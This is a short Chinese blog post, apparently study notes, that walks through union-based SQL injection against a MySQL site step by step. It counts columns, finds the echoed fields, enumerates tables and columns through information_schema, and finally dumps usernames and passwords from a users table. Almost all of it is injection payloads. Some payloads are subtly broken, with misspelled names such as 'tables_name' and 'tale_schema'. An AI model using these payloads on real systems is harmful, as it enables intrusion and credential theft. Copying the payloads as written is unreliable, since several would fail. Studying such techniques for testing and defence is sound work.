注入目标和思路:拿到库名---拿到表名---拿到列名---拿到用户名和密码
用 id=1' order by x --+ 来确定表有几列,然后用 id=0' union select x1,x1,x3 --+ 来确定回显位,然后在更改回显位用 database()来拿到数据库名,以下用sqlname表示。
注:数据库系统的数据库 information_schema(包含所有mysql数据库的简要信息),其中包含tables(表名集合表)和columns(列明集合表)这两个表。
下一步就是要拿到表名:
id=0' union select x1,x1,group_concat(tables_name) from information_schema.tables where tale_schema='sqlname' --+(或者可以直接用 table_schema=database(),而且更容易绕过),那么就拿到了这个数据库的所有表名。比如拿到一张users表。
下一步就是要拿列名:
id=0' union select x1,x1, group_concat(column_name) from information_schema.columns where tale_schema='sqlname' and table_name='users'--+ 那么也就拿到了users这张表的所用列名,不如包括:id password
最后就可以拿到用户和密码等信息:
id=0' union select x1,x1, group_concat(id,'~',password ) from users --+ 这样就成功拿到了相关的信息。
注:当我们查询时,才会显示查询结果的其中一个,那么就需要用group_concat()来显示所用查询结果。
标签:字符,union,拿到,schema,--+,x1,id,注入 From: https://www.cnblogs.com/ugnfc/p/18151355